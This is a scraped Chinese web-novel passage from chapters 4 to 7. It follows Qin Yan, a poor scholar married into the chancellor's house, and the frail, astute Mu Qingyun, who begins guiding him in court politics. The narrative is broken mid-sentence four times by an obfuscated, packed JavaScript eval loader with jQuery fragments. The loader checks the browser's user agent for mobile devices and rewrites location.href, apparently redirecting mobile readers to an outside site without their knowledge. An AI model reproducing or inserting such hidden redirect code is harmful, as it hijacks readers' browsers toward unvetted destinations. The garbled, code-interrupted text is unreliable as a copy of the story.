戌时已过,崇安城的集市还是一片灯火辉煌,人声鼎沸。 但在那万千烛火之中,却没有一盏属于秦砚。 往常在潼水城的这个时候,早已经是万籁俱寂,大街小巷连一个人影也无。 醉得东倒西歪的秦砚扶墙走着,又忍不住想起两年前在山庄外遇见的那位姑娘。 脑海昏昏沉沉,连带着回忆里的那道倩影都变得影影绰绰起来。 秦砚停下脚步,后背抵着冰冷的墙壁,喃喃自语:“那位小姐……该不会是天上的仙女吧?” 可转念一想,即便世上真的有神仙,他秦砚又何德何能,让仙子为他驻足垂怜。 他长长呼出一口白气,用力搓了搓脸,定睛一看,前方朱门大院,石狮威立,不是丞相府又是什么? “怎么走到这里来了……” 秦砚垂下头,拢了拢身上单薄的官袍,正准备转身离去,身后却忽然传来一阵脚步声。 华贵无比的轿辇上,青色纱帘晃动,里面似乎还传来什么人的轻咳声。 秦砚呆滞地抬起头,隔着朦胧的夜色,忽然瞥见了一张眉目如画,气质出尘的脸。 眉如远山含黛,眼似秋水凝星。 她的肤色苍白到近乎透明,但却更衬得那双眸子清冽深邃,宛若月下初绽的白梅。 秦砚长这么大,还从未见过如此惊艳的容颜。 但那张脸只是惊鸿一瞥,轿辇疾步前行,恍惚间与他擦肩而过,很快就又隐入夜色深处。 等到秦砚后知后觉回过神,身后哪儿还有佳人的影子? “还真是他!” 知微探着身子往窗外张望了一眼,有些兴奋地压低声音道,“就是秦砚那书呆子!” 穆卿云捏着手帕掩唇咳嗽,脸上带着淡淡的倦意,她轻蹙眉头:“大晚上的,他怎么会在这里。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524718|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “瞧他那东倒西歪,眼神发直的样子,像是喝醉了。” 知微撇了撇嘴,取笑道,“这么冷的天,那家伙就穿着一身单薄的官袍,连件披风都没有,怕不是被冻傻了。” 大半夜的跑到相府门口买醉,看来那道赐婚的圣旨,对他的冲击不可谓不大。 穆卿云轻叹口气,吩咐道:“派人暗中护送他回去,夜里风凉,别让他在外面晃悠了。” 轿辇一路进了相府后院,平稳落在月洞门前。 穆卿云被知微扶着,还没落地站稳,就听见一声清脆的呼唤。 “阿姐!” 八岁的穆子钰穿着一身枣红色的锦袄,飞快地朝她跑了过来,却又在几步之外刹住脚步,规规矩矩地乖巧站好。 “阿姐!你终于回来啦!” 穆卿云缓步上前,伸手摸了摸他的脑袋:“这么晚了,怎么还没去歇息?” “爹爹说你快回来了,我就想等阿姐到家,跟你说说话!” 穆卿云牵起他的手,小家伙掌心里热乎乎的,倒是恰好驱散了她指尖的寒凉。 来到书房,穆相正坐在案前批阅文书。 见到姐弟俩牵着手进来,他抬头道:“时雨回来了。今日去京兆尹府上,可查到什么眉目?” 穆卿云带着穆子钰在软榻上坐下,答道:“都查清楚了,此事的主谋是翰林院韩信鸿,他联合麾下几名官员,想要构陷京兆尹邵大人,趁机打压寒门清流。” 穆相眉头一拧,斥道:“这群世家的奸佞蛀虫,还真是一日不让人消停!” 提起此事,穆卿云有些怅然,轻声道:“听说那秦砚就是因为拒绝了韩信鸿的拉拢,所以才会被处处刁难,在翰林院举步维艰。” “这人也是太过耿直鲁莽,做事不懂变通。说话行事,锋芒太露,只会引火烧身。” 想起前两日还被秦砚在门前拦下质问,穆相无奈地摇了摇头,“想在这朝堂上站稳脚跟,他要学的东西还多着呢。” “慢慢来吧,秦砚是个聪明人,想必学起来也快。” 穆卿云说了几句话,喉中痒意又翻涌上来,忍不住偏头咳嗽了两声。 穆相见状,起身道:“时候不早了,你身子弱,不宜劳神,快回院子里歇息罢。” 说罢,他冲儿子招了招手:“子钰,走吧。” 穆子钰却抱紧姐姐的手臂,软糯糯地撒着娇:“可是我还没跟阿姐说上话呢。” 穆卿云轻笑:“父亲先回去歇息吧,我和子钰聊聊天。” 穆相叹了口气,对儿子叮嘱道:“别聊太久,不要耽误你姐姐休息,听见了吗?” 穆子钰连忙用力点头,满口应下。 等到爹爹带着下人们离去,书房只剩下姐弟二人。 穆子钰才撅起嘴巴,委屈巴巴地问:“阿姐,他们说你要成亲了,是真的吗?” 穆卿云失笑:“是谁又在你面前说闲话了?” “阿姐为什么要成亲?” 穆子钰抓住她的手腕晃了晃,乌溜溜的大眼睛里很快涌上泪花。 “阿姐平日里已经够忙的了,若是以后成了亲,那岂不是更没有时间陪子钰了?” 穆卿云捏住帕子给他擦了擦眼泪,安抚道:“怎么会呢?以后府里来了新人,就会多一个人来陪你啊。” “不要!” 穆子钰气鼓鼓地扭过头,“我不要别人陪!我就要阿姐!” 穆卿云轻轻叹了口气,语气落寞:“可是阿姐总有一天会离开,到时候需要有人来陪着子钰,陪着爹爹,一起守着我们的相府。” “为什么阿姐要离开?” 穆子钰仰起小脸,泪珠还挂在脸颊上,懵懂的眼睛里填满疑惑。 穆卿云不知该如何跟他解释,只好搪塞道:“那是以后的事情了,现在阿姐会尽量抽时间好好陪着子钰的,好吗?” “嗯。” 穆子钰重重点头,伸手抱住穆卿云的腰,把小脑袋埋在她的肩头。 “阿姐不要离开,阿姐永远陪着子钰。” 5. 第 5 章 大婚之夜,红烛高燃。 秦砚穿着一身大红喜服,跟着相府管事,独自走完了婚礼的全程。 相府门前张灯结彩,大红灯笼从朱门一直挂到街口。 围观者挤得门口水泄不通,只是不知是真心来道贺的多,还是前来看笑话的多。 “往后您就是我们相府的姑爷了,我家小姐自幼体弱,性子又静,往后您还得多体谅着些。” 府里的嬷嬷在前面引路,絮絮叨叨地跟秦砚说着府里的规矩。 秦砚默默听着,垂头看着自己飞扬的衣摆。 这样好的料子,针脚细密,华贵无比,怕是连翰林院的官袍都比不上分毫。 偌大的相府庭院深深,秦砚跟着嬷嬷走了许久,终于停在一座雅致安静的院落门前。 “这是沁芳院,也是您往后的居所,小姐已经在里面等您了。” 嬷嬷对秦砚恭敬地行了一礼,然后就带着人离开了。 秦砚目送下人们离开,扭头看向紧闭的房门,不禁咽了口口水。 自幼体弱,沉疴难愈,时日无多,极少露面,性情孤僻,不见外客…… 外界对这位相府千金的传闻众说纷纭,但基本都是阴郁与不祥。 秦砚曾照顾久病卧床的母亲多年,所以深知久病之人大多脾气阴郁,形容憔悴,之前再美的容颜也都会变得黯淡无光。 也不知这位时日无多的相府千金,会不会跟母亲当年病重时一样…… 他深吸口气,缓缓推开房门。 想象中的画面没有出现,反而是红烛前端坐着一道纤细清丽的倩影。 她没有和秦砚一样穿大红的喜袍,只是穿了一身素白软缎常服,松松挽着发髻。 听见开门的声音,穆卿云从手里的折子上缓缓抬眸。 看到一身喜服的秦砚目瞪口呆地愣在门口,她忍不住弯了弯唇角。 “进来吧,站在门口做什么?” 秦砚心头一震,猛地回过神,这才踏进门槛,转身轻轻关上门。 虽然房门已关,四下再无其他人,但他却仍是背靠着门板站着,既不敢开口,也不敢挪动半步,满脑子都是方才那一眼的惊艳。 好美的人…… 眉目清冷如画,气质出尘,分明带着几分病弱的清瘦,却又美得惊心动魄,不染半分尘俗。 而且还有一股说不清道不明的熟悉感,仿佛在很久以前,在某个朦胧的梦里,两人便已经遇见过…… 穆卿云打量着许久未见的秦砚,心头暗自感叹:不过短短两年,这人已经褪去了从前的落魄寒酸,变得儒雅矜贵,玉树临风。 今日这身大红绣纹的喜服格外衬他,颇有些少年郎意气风发的味道。 “公子不必紧张,你我只是名义夫妻,我不会为难你的。”穆卿云见他仍是神色局促,主动开口道。 “啊?噢……好的。” 秦砚尴尬地挠了挠后脑勺,脑子还没反应过来她说了什么,嘴上已经忙不迭地应下了。 穆卿云被他的样子逗乐了,起身走到一旁的贵妃榻前,侧身指了指上面的被褥。 “这段日子就委屈公子先在这里将就一下,待到朝堂风波平息,公子自可离去。” “好……” 秦砚盯着她的脸,先是下意识应下,但却又很快回过神来。 “小……姑……” 他想唤“小姐”,又想唤“姑娘”,最后莫名其妙给人家升了辈分。 说出去的话泼出去的水,秦砚整张脸都涨红了,窘得简直想找条地缝钻进去。 穆卿云眉眼弯弯,捏着手帕掩唇轻笑:“叫我卿云就好,公子不必如此客气。” “穆小姐。” 秦砚垂着头,双手交叠,宽袖遮面,还是忍不住问道,“我与小姐素不相识,不知小姐为何要帮我?” “我看过公子所著的文章,”穆卿云脸上的笑意收敛了些,轻声道,“公子有经世之才,字字皆见风骨,我不忍明珠蒙尘。” 秦砚有些惊讶,悄悄抬眼看她。 没想到这位久居闺阁的相府千金,居然会留意他一介寒门书生,而且还懂得文章风骨。 穆卿云偏过头,捏着帕子轻轻咳嗽了几声,又说:“何况,我将不久于人世,死前能做一件善事,也好。” 想起外界的那些传闻,秦砚方才还慌乱失神的心忽然就沉静了下来。 如此绝色惊艳之人,偏偏身染沉疴,这么年轻就要香消玉殒,实在让人忍不住扼腕叹息。 深夜。 内间早已经熄了红烛,白日里的喧闹声也已经销声匿迹,屋里只留下几缕窗棂缝隙里透进来的苍白月光。 外间的贵妃榻对秦砚的个头来说有些窄小,他只得委屈地蜷缩着两条长腿,隔着雕花木的屏风,望着里间那道若隐若现的影子。 “咳咳……咳……” 里间不时传来刻意压低的轻咳声,声音细碎又虚弱,让人忍不住跟着揪心。 秦砚枕着自己的手臂,清亮的双眼里没有丝毫困意。 “穆小姐……”他犹豫半晌还是轻轻开口,“你还好吗?” “咳……” 穆卿云捂着胸口,仰头缓了口气,轻声道,“无事,吵到你了吗?” 秦砚立刻从榻上弹了起来,慌乱道:“不,我不是这个意思……” 穆卿云缓慢地翻了个身,看着屏风外的人影,又问:“睡不着?” 不过想想也是。 寒窗苦读数十年,一朝金榜题名,原本还以为可以大展宏图,没想到京城水深,朝堂波谲云诡,小人物的命运全然由不得自己。 上一刻还在翰林院挥斥方遒,下一刻却被强行送进了相府,沦为权贵博弈的棋子,如此身不由己的处境,任谁也没办法心安理得地安睡吧。 “有点,”秦砚看着地上自己的影子,老实道,“我总觉得,来到了崇安城之后,好像就有一双无形的大手在推着我走,一步错,步步错。原以为每一步都是自己的选择,到头来才发现,竟然全是旁人布好的局。” 穆卿云原本可以长篇大论来安慰他一番,但她此时胸口像是压着一块巨石,强忍着才没咳出声,于是只好轻飘飘转移了话题。 “你……咳……成亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524719|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落定这种大事,不用通知家里吗?” 秦砚摇摇头,苦笑道:“我父亲是村里木匠,早年在帮东家搬运家具途中,被倾倒的柜子砸中,当场人就没了。母亲受了打击,一夜白头,卧床多年,最后在我进京赶考的那年……也去了。” 曾经盼着他光耀门楣的母亲,直到闭眼那一刻,也没能等到儿子衣锦还乡的那一天。 “这样吗……” 穆卿云叹了口气,心里难免对他又多了几分愧疚,“我母亲也去得早,留下我和幼弟,彼此陪伴着在这相府长大。” 自小身体不好,没有娘亲疼爱,还得拉扯幼弟。如今好不容易长大了,又突然被安排跟一个素未谋面的陌生人成亲,想必穆小姐心中也满是无奈吧? 不知为何,秦砚忽然油然而生一股莫名的责任感。 他挺起胸脯,对着里间那人郑重道:“小姐放心,我秦砚虽出身微寒,人微言轻,但也还有几分骨气和担当,从今往后,定不会让小姐再受委屈的!” “?” 秦砚等了许久也没听见她的答话,以为她是睡下了,于是只好重新在榻上躺下,望着窗外的月光发愣。 第二天一大早。 知微带着一群丫鬟来敲门。 “小姐,姑爷,该起了,还要去给相爷敬茶呢!” 贵妃榻上,刚睡着没一会儿的秦砚被动静惊醒,一个激灵差点从榻上滚了下来。 他慌慌张张地坐起身,理了理身上皱皱巴巴的袍子,一抬头却正对上已经醒来多时的穆卿云。 她穿着一身整洁的月白色里衣,披散着如墨青丝,面色有些苍白,但那双眸子还依然清亮澄澈。 看见秦砚眼下两个硕大的乌青,穆卿云收回视线,体贴道:“我去外面应付她们,你去里间梳洗更衣吧。” 秦砚点点头,连忙抱着被褥,狼狈地溜进了里间。 知微敲开了房间,一进屋就跟搞搜查似的四下打量了一圈。 穆卿云端坐在梳妆台前,偏头看她:“不是要帮我梳妆吗?还愣着做什么?” “哎!来了。” 知微连忙上前,从她手中接过木梳,开始熟练地为她绾发。 穆卿云闭着眼睛,神色淡然,实在让人看不出心思。 知微瞥了一眼里间,终究没按捺住好奇心,小声问道:“小姐,昨夜姑爷歇在里间?” “知微,”穆卿云掀开眼皮,淡淡道,“不该问的不要问,做好你自己的事就好。” “奴婢知错。” 知微连忙低下头,偷偷吐了吐舌,再不敢瞎打探。 等到穆卿云梳妆穿戴完毕,秦砚也换了一身暗青色的常服,有些局促地从里间走了出来。 知微站在穆卿云身侧,眼睛滴溜溜地转,偷偷在秦砚和小姐之间来回打量,努力想要从他脸上看出点昨夜的端倪。 穆卿云转头看了他一眼,眼底浮起淡淡的笑意。 她缓步上前,抬手帮秦砚把折进去的衣领给整理好,“走吧,该去跟父亲敬茶了。” 秦砚不敢低头看她,莫名有些脸热,轻咳一声道:“好。” 6. 第 6 章 不过一夜,相府的红绸灯笼就全都撤得干干净净了,仿佛昨日的喧嚣喜庆都未曾发生过一样。 秦砚心头有些怪异,但却没有多问,只是默默跟在穆卿云身后。 “阿姐!” 几人刚走出院子,不远处的回廊下就传来一道脆生生的呼唤。 穆卿云转过头,看着朝她疾跑过来的小家伙,笑道:“子钰,一大早的,你怎么在这儿?” “我等阿姐一起去书房见父亲。” 穆子钰牵住姐姐的手,怯生生地躲在她身后,只露出一双乌溜溜的眼睛,好奇地盯着一旁的秦砚。 这孩子看着也就七八岁的样子,想必就是相府的小少爷了。 秦砚尽量扯出一抹柔和的笑,对着穆子钰拱手道:“在下秦砚,见过小少爷。” 没想到穆子钰却高高撅起嘴巴,对他翻了个大大的白眼,一脸不屑的样子。 “子钰,不可无礼。” 穆卿云轻轻拍了拍弟弟的脑袋,“这位是翰林院的秦大人,往后你便要唤他姐夫了。” “哼!”穆子钰仍是不服,小声嘟囔,“他是从哪里冒出来的穷酸书生,我才不认呢!” 穆卿云无奈地叹了口气,对秦砚解释道:“子钰年纪尚小,可能是被我惯坏了,说话口无遮拦,还望公子多多包涵。” “无妨,小孩子心性,舍不得姐姐,可以理解……” 秦砚摆了摆手,努力让自己笑得自然一些。 一行人朝前走着,穆子钰挡在姐姐和这个男人之前,毫不掩饰地释放着满身敌意。 秦砚为了避免惹人嫌弃,只好默默拉开距离,不远不近地跟在他们身后。 来到书房,穆相端坐于紫檀木书桌后,见几人进来,温声道:“时雨来了。” 时雨? 秦砚下意识看了穆卿云一眼,意识到这可能是穆小姐的表字,心中暗自记下。 “父亲。” 穆卿云和穆子钰上前恭敬行礼,秦砚也跟着躬身行礼。 “晚辈秦砚,见过穆相。” 穆相淡淡看了他一眼,似在审视,但却并未多问,只是直接跟穆卿云说起了正事。 “昨日幽州送来的折子都看了吗?” 穆卿云在一旁的梨花木椅上坐下,条理清晰道:“女儿已仔细看过折子。幽州连年干旱,去年秋收本就微薄,今春又逢蝗灾,粮库空虚,流民流离失所,若处置不当,恐生民变。” 穆子钰乖乖地在姐姐身边坐下,仰着小脸,听得一脸认真。 穆相微微颔首,指尖轻叩桌面,追问:“既知症结,时雨可有对策?” 穆卿云微微蹙眉,缓声道:“当务之急是要先从邻近各州粮库调运粮食,先行运往幽州,开设粥棚,安抚流民。其次是要恳请皇上下旨,令幽州地方官吏牵头,兴修水利,再减免幽州三年赋税,鼓励百姓开垦荒地,恢复生产。” 穆相叹了口气,脸上的忧虑更重,“说起来容易,可幽州上下都是太傅的亲信,早就被太傅一手提拔的世家牢牢掌控,我们即便想要插手,也处处受限,难有作为。” 穆卿云掩唇闷咳了两声,继续道:“此事不可操之过急,更不可与太傅正面抗衡。应该从底层官吏下手,分化瓦解,待其内部分崩,再图进取。” 两人随口谈论着朝堂机密,没有刻意避讳秦砚在场,却也没有特意询问他的意见。 秦砚垂手肃立,心中震撼于二人谈论的政事之深,也不知自己该不该继续留在这里。 穆卿云余光看见他局促不安的样子,体贴道:“秦公子,我与父亲还有要事相商,你且先去前厅喝茶等候吧。” 秦砚如蒙大赦,连忙躬身行礼,然后转身退出了书房。 看着房门缓缓合上,穆相语气微沉,有些不解地问女儿:“时雨,你真觉得此人能担得起你寄予的期望?” 穆卿云端起桌上的清茶,浅啜一口,轻笑道:“秦公子初入朝堂,尚未开窍,再给他一些时间吧。” “可是……” 你的时间不多了。 穆相胡须颤抖,终究还是不忍心把这残忍的事实说出口。 他看着女儿清瘦苍白的脸庞,满心都是无力。他虽然身为当朝宰相,能掌控朝堂风云,却偏偏留不住女儿的性命。 “女儿明白,但欲速则不达,还需循序渐进。” 穆卿云放下茶盏,目光沉静,“父亲放心,在他能真正撑起相府之前,女儿不会倒下的。” 秦砚背对着书房的大门,站在几步开外的廊柱下。 今天是正式进入相府的第一天,他不知道穆相留他旁听,是在试探他的深浅,还是在考验他的立场。 平心而论,穆相在万千寒门学子心中,乃是清流砥柱般的存在。 而这位不显山不露水的穆小姐,明显也远非寻常闺阁女子可比。 更何况,相府对他有收留庇护之恩,于情于理,他都无法拒绝他们提出的要求。 只要不让他违背良心,做些伤天害理之事,那他便是赴汤蹈火,也在所不辞。 秦砚在廊下兀自做着激烈的思想斗争,不知道过了多久,身后的书房门忽然打开,穆卿云从里面缓步走了出来。 她走得极慢,一手轻扶着门框,面色比进书房时又苍白了不少,只是嘴角还带着浅浅的笑意。 “不是让你去前厅坐着喝茶,怎么还站在这儿傻等?” “我……” 秦砚局促地低着头,“我怕小姐叫我,所以想着,还是就在外候着比较好。” 穆卿云对他笑了笑,微微抬起手,一旁的知微立刻上前,扶住她的手臂。 “走吧,去我的书房。” 秦砚应了一声,亦步亦趋地跟上。 穆卿云走得端庄,脚步很慢,看得出一上午的议事,对她而言消耗不小。 看来这位穆小姐,身体是真的很差啊…… 秦砚望着她纤细的背影,在心里默默琢磨着。 来到沁芳院的书房,这里的布置素雅简洁,显然是专为穆卿云平日读书理事所设。 穆卿云在书桌前坐定,知微带上门退了下去,留下秦砚站在书房中央,对着满墙的典籍卷轴发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524720|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣。 穆卿云端起桌上的热茶抿了一口,恢复了些体力,才开口道:“秦公子,我见你先前文章里面写到''为官者当直言进谏,不避权贵'',如今你身陷囹圄,处处受制,可知自己错在了什么地方?” 秦砚心头一凛,思索片刻,回答道:“因为我言辞太过刚直,不懂藏拙,所以得罪了太傅大人?” “皇城下掩埋着的枯骨太多了,空有一腔孤勇是没用的。立身朝堂靠的是权衡利弊,审时度势。你身为寒门学子,需要对抗的是整个世家,乃至盘根错节的朝堂旧势,所以不要孤身犯险,以卵击石,凡事三思而后行。” 穆卿云神色疲惫,按了按眉心,继续轻声道。 “世家有朋党,寒门亦需同盟。你毫无背景根基,在这步步为营的崇安城根本走不远。而我相府,就是你在这京城里,最稳妥,最可靠,也是最能护你周全的同盟。” 秦砚听得很认真,从前他只懂得埋头苦读,一心只想着金榜题名,把一切都想得太过简单。 这还是头一回,有人跟他讲起这些为官处世之道。 他对着穆卿云深深弯腰,郑重道:“小姐教诲,秦砚铭记于心。” 穆卿云见他态度诚恳,语气也放柔和了些。 “你有才华,这是好事,但若是不懂得如何藏锋守拙,也只会招来杀身之祸罢了。官场如棋局,落子无悔。要做就做那纵览全局的执子之人,而非任人摆布的棋子。” “咳……”穆卿云喉咙有些发痒,又端起茶盏抿了一口。 “我这书房里什么书都有,你可以尽管取阅,若是遇到什么不懂的,想不通的,随时可以来问我。” 秦砚扭头看向整面墙的书柜,在心里暗自咋舌。 放眼望去,多少失传已久的孤本,名家手稿,都是他曾经只在同僚口中听闻过的存在。 现如今却可以在这里供他随意翻阅,这可是他从前想都不敢想的事情。 “多谢小姐!” 穆卿云看出他满眼的求知若渴,于是撑着桌案起身,绕过屏风,去到书房的另一边。 这里放置着一张软榻,上面铺好了干净厚实的软垫。 从前她处理公务,看书累了,偶尔也会直接在书房歇下。 昨夜几乎一夜未眠,今日又跟父亲议事了许久,穆卿云有些体力不支,但又不放心把秦砚一个人丢在这里,于是决定在这里小憩片刻,权当陪着他看书。 秦砚一开始还有些拘谨,但沉浸在书卷中后,也慢慢放开了胆子,抽出一本又一本仔细翻阅。 他知道穆卿云就在屏风后休息,于是翻书,走动都尽量放轻了动作,生怕惊扰了里面的人。 不多时,知微端着一碗黑漆漆的汤药走了进来。 秦砚连忙放下书卷,对她微微颔首,当做打招呼。 知微抿着唇角,一脸揶揄地笑着瞥了他一眼,转身就往屏风后去了。 草药的苦涩在书房里弥漫开来,让秦砚都忍不住皱眉。 但屏风后的人影却始终安安静静的,直到知微端着空碗离开,也没有发出半点声响。 7. 第 7 章 今日是初一的大朝会。 秦砚早早就起了床,把贵妃榻上的被褥都规规矩矩地叠好收了起来。 里间安安静静,连呼吸声都轻得几乎听不见。 昨夜的咳嗽声直到后半夜才停,穆卿云定是累极了,此刻应该刚刚睡熟。 于是秦砚也没有出声打扰,只是轻手轻脚地穿好官服,悄悄推门出去了。 外头天还未亮,秦砚搓了搓冻僵的脸颊,呼出一团白气,随着入宫的人流前往宣政殿上朝。 新科状元郎昨日入赘相府的消息早已经传遍了大街小巷,一路上总有人投来或好奇或嘲弄的目光。 秦砚心中难免几分忐忑,一路低头慢行,尽量不引人注目。 可刚踏入殿外的白玉广场,便有几位素来眼高于顶的官员主动迎了上来。 “哟,这不是秦大人嘛!如今都是相府姑爷了,怎么还自己走路来上朝?” 秦砚脚步一顿,垂首拱手道:“下官品阶低微,不敢逾矩擅用车马。” 又一个满脸戏谑的人上前勾住他的肩膀,强行把他压低了些,凑到耳边问:“听说昨夜秦大人留宿在沁芳院?看来那位穆小姐对你很是满意啊?哈哈哈……” “那相府小姐是个病秧子,身子娇弱得很,秦大人可得悠着点,当心刚入赘没两天就守了寡哈哈哈……” 刺耳的笑声让秦砚后背发凉,攥紧了袖中的拳头。 没想到在相府的深宅大院里,竟然还有这么多双眼睛时刻盯着,就连他昨夜歇在何处都一清二楚。 “大人们说笑了,朝会时辰快到了,还是快入殿候驾吧。” 秦砚往旁边撤了半步,快步绕开这群不怀好意的官员,把轻佻的讥笑声都远远抛在了身后。 每月两次的大朝会,丞相和太傅两派依然是吵得不可开交。 不过秦砚先前一直都是置身事外,可如今他身份陡然转变,成了相府的人,那些曾经与他无关的党争机锋此刻再听起来,就变得别有深意起来。 兴许是碍于相府的面子,今日太傅没有再提起先前被秦砚顶撞的事情,甚至没往他这边多看一眼。 秦砚提心吊胆地熬完整个朝会,只觉得如释重负。 退朝之后,众官员都三五成群地往宫门外走去。 秦砚站在宫门口等了一会儿,被温太傅气得面红耳赤的穆相径直上了备好的马车,一点要跟他搭话的意思都没有。 他只好默默收回目光,独自一人往相府走去。 回到相府,已经是午时三刻。 虽然还是寒冬腊月,但秦砚却走了一身的汗,于是打算先回房换身衣裳。 他小心翼翼敲开房门,却发现里面空无一人。 刚刚路过书房的时候还特意看了一眼,穆小姐也不在里面。 那她去哪儿了? 秦砚带着满肚子疑惑,迅速换好衣服出来,正准备再去穆相的书房看看。 刚走出沁芳院,远远看见端着托盘走过的知微。 秦砚大步追了上去,客气问道:“知微姑娘,敢问穆小姐此刻在何处?” 知微斜着眼睛瞥了他一眼,“我家小姐在军机阁处理政务呢,公子还是不要贸然去打扰的好,回书房看你的书去吧。” 知微是伺候小姐多年的贴身大丫鬟,也是府上地位最高的下人,即便是面对这位新来的姑爷,说话也半分不客气。 秦砚没有在意她的语气和态度,只是在心里暗自惊讶,穆小姐身为闺阁女子,居然可以坐镇军机阁,主理相府事务,当真是深藏不露。 见他问完话也没了下文,知微撇了撇嘴,直接扭头离开了。 府兵把守的军机阁里。 “咳咳……” 穆卿云闷咳几声,放下手中的朱笔,刚想从怀里掏出帕子,身形却忽然一晃。 “小姐当心!” 一旁的邵同光立刻上前,刚想伸手去扶,却被眼疾手快的知微挡住了动作。 知微背过身挡住穆卿云,一边掏出帕子帮她捂住唇角,一边轻拍她的后背帮她顺气。 穆卿云倚在知微身上,待到缓过这阵晕眩,这才抬手示意知微让开,若无其事地对邵同光说:“邵大人不必惊慌,都是老毛病了,不打紧的。” 邵同光知道她不喜欢被旁人近身触碰,于是自觉地后退了一大步。 “小姐今日似乎格外虚弱,是不是前日大婚以来……连日操劳耗费心力?” 穆卿云垂下眼帘,似笑非笑道:“邵大人似乎对秦大人颇有微词,先前对他的文章也是诸多挑剔。” 邵同光轻哼了一声,偏过头道:“一个迂腐书生而已,满纸天真荒唐言,难堪大用!” “可若不是他坚守本心,拒绝在弹劾你的联名信上署名,邵大人今日还能安稳站在这里与我顶嘴吗?” “我……” 邵同光惊愕抬头,看见穆卿云沉静的脸色,连忙抱拳躬身,恭敬道,“是属下失言,求小姐恕罪。” 穆卿云低头翻阅着面前的折子,没有开口,但沉默的压迫感却让邵同光根本不敢抬头。 屋内一时静得落针可闻,直到邵同光的手臂都开始细微地颤抖,穆卿云才终于淡淡开口。 “我说这话,不是为了替他邀功,只是想告诉大人,如今秦砚是我们相府的一员,往后也会是对抗温太傅的一大助力。还望邵大人能放下成见,公允地看待他,莫要因私废公才好。” “属下谨记!” 邵同光连忙应下,站起身时,额上已是满头大汗。 在军机阁议完事,知微扶着穆卿云回房。 穆卿云斜倚在榻上,额头抵在掌心里,幽幽叹道:“相府还是太大了,军机阁到沁芳院的这段路竟然这么长。” 知微明白她累了,于是默默帮她脱下外衣,轻声道:“奴婢去煎药,小姐喝了药,早些歇息吧。” 就在知微准备转身出去的时候,穆卿云忽然又开口问道:“秦大人……下朝应该回来了吧?” “午时没过就回来了,这会儿还在书房看书呢。”知微答道。 “咳咳……他倒是好学。” 穆卿云闷咳两声,吩咐道,“你去跟他传话,让他今日就在书房歇下,不必回来了。” 这是身子已经疲惫到了极限,连在人前维持体面的力气都没有了。 知微在心里暗暗叹息,应了一声,带上门出去了。 秦砚今日有些心神不宁,眼睛盯着书卷上密密麻麻的字,脑子里却来来回回浮现穆小姐的脸。 她的一颦一笑,一言一行,都好像绵绵春雨落进泥土,在他心里生了根,发了芽,悄无声息地疯长,一发不可收拾。 “……姑爷?” 知微站在门口,又重重敲了敲房门,这才将他从恍惚中惊醒。 “您傻笑什么呢?叫了几声都听不见。” 秦砚猛然回神,立刻从椅子上弹起,手忙脚乱地翻找着面前的书桌。 “是穆小姐回来了吗?我这就收拾东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524721|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西……” “不必了。” 知微打断道,“我们小姐身体不适,让姑爷今夜就歇在书房,不必回去了。” “啊?” 这才大婚第三日,这么快就被厌弃了吗…… 秦砚整个人呆住,怔了半晌,才磕磕巴巴道,“呃……穆小姐情况怎么样,身子还好吗?” “府里大夫们都候着呢,姑爷不必挂心。” 知微交代完,干脆利落地转身离开了。 书房的床榻比那窄小的贵妃榻要宽敞不少,被褥也更厚实,但秦砚却还是翻来覆去地睡不着。 早知道昨日就多跟穆小姐说几句话了。 不过她身子不好,事务繁忙,总是很疲惫的样子,他也不忍心多打扰。 “哎……也不知道她好些了没有。” 秦砚长叹口气,抱着被子又翻了个身。 怀里的被褥又轻又软,似乎还残留着一股淡淡药香混合着清冷的馨香。 秦砚低头凑近,深深嗅了一口,脑子里忽然想起昨日穆小姐在这张床上小憩时的样子。 如瀑的青丝散落枕畔,精致的眉眼恬静安然……他想着想着,思绪忽然就不受控制地滑向了不可描述之地。 “……荒唐!” 秦砚使劲捶了捶脑袋,暗自懊恼,“秦砚!你想什么呢!非礼勿视,非礼勿思!” 心慌意乱之下,他只好用被子蒙住脑袋,强迫自己背起了拗口的圣贤书。 